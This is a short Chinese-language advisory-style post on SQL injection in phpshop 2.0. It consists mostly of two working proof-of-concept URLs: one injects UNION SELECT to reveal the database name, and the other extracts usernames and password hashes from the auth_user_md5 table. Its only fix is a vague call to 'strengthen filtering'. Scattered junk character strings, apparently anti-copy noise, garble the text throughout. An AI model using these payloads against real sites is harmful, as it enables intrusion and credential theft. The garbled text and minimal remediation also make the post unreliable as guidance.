phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
2 T- G) ?/ {' B, G% m
作者 : By onestree
. R" A( g4 R( w. q3 m2 O下载地址 : http://code.google.com/p/phpshop/downloads/list
3 c7 v( m3 f, L测试地址: windows 7 / ubuntu
: n* _+ Q+ ~1 n/ w% N( M6 n% ?

! b+ k3 X9 T2 c8 i3 v6 oSQLi p0c:
" K7 m7 |! S: D9 s
5 r  T; D# c0 j. y: Q) }==================
0 _* {% V' S( f% v* v; X
. ^% F' b0 |! X% P2 Jhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
3 o2 I9 F+ Q  d: `7 Nunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
. ~1 h, q# b( f
修复：
( f3 ]) |0 g  K* [加强过滤
​
$ e, r$ v0 \) ~1 _1 q) j
2 J* z# P* K; n  y2 p" _